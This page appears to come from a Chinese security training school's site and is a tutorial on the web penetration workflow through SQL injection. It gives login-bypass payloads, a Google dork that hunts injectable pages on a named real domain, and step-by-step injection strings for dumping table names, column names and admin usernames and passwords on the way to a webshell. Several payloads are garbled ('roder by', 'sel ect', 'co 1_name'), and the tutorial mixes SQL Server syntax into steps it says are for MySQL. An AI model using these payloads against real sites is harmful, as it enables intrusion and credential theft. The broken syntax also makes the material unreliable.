网盾网络安全培训学校育,只培训技术精英
全国免费咨询电话: 15827351614
web渗透的经典流程与常见漏洞

Web渗透经典流程

判断脚本系统,判断数据库类型——>寻找注入点——>猜解数据库表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登录,获得网站管理权限(webshell)

常见漏洞

  • 注入漏洞

                                              URL为:asp?id=                                              

                                                              asp?newsid=

                                                              asp?page=

                                                              asp?Atricle=

 

         SQL注入漏洞:strSQL="select * from users where username=(name='"+userName + "')and(pw='"+passWord+"');"        

                     攻击方式:'or1='1' 

                                         'or1=1--

                                         a'or'1==1--                                                     

                                         'or'a'='a             

三种不同数据库(ACCESS,SQL Server,MySQL)有不同的注入方法,由于现在php与My SQL使用更多,asp逐渐被淘汰,我只实践了php与My SQL组合。

1.  要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用google了,使用google hack寻找网( inurl:php?id=)类型为 http://www.xx.com/php?id=xx,那么如何寻找在某个网址中含有php?id=的页面呢?就要用到如下的语句,php?id= site:sina.com.cn,这句话的意思是在sina.com.cn中找寻链接有 php?id=这样的信息,因为 php 注入的特性(php 默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要找id=这样的地方,很有可能就是传递整型数字变量的地方

 2. 在URL加上 and 1=1 提交,返回如果与提交 and 1=2 页面不同则存在注入漏洞,但是真正影响我们注入的确不是这个 PHP 网站,而是其后台的数据库。所以接下来我们就来判断其后台数据库了。在目前的数据库系统中,只有 MySQL 数据库支持/*注释的,所以我们可以利用它来判断后台是否是 MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入 http://www.xx.com/php?id=xx/*查看返回结果,如果没有出错,说明后台数据库就是 MySQL 了。

3.在URL后提交and ord(mid(version(),1,1))>51/*判断数据库版本,如果正常返回,那么这个数据库版本是大于 4.0 的,因为Ascii 码 51 代表的是 3,这里大于 3 的当然就是 4.0 以上版本!

4.暴任意表名,在URL后提交:and(select top 1  name from(select top  N id,name from sysobjects where xtype=char(85)) T roder by id desc)>1,N代表数据库中第N个表,可得到第1个表的表名。

5.暴任意表任意列的列名:and(sel ect top 1 co 1_name(object_id('表名'),N) from sysobjects)>1,N为第N列。(错误中显示的FORUM_TOPICS是表名,TOPI(_ID)为列名)

6.有表,列名后,可以暴出数据库中数据,语句为:"and(select top 1 列名 from 表名 where id=N) "  N代表第N条数据。

7.一般提交:and(select top 1 username(password) from admin where id=1)>1 可以得到第一条数据/密码。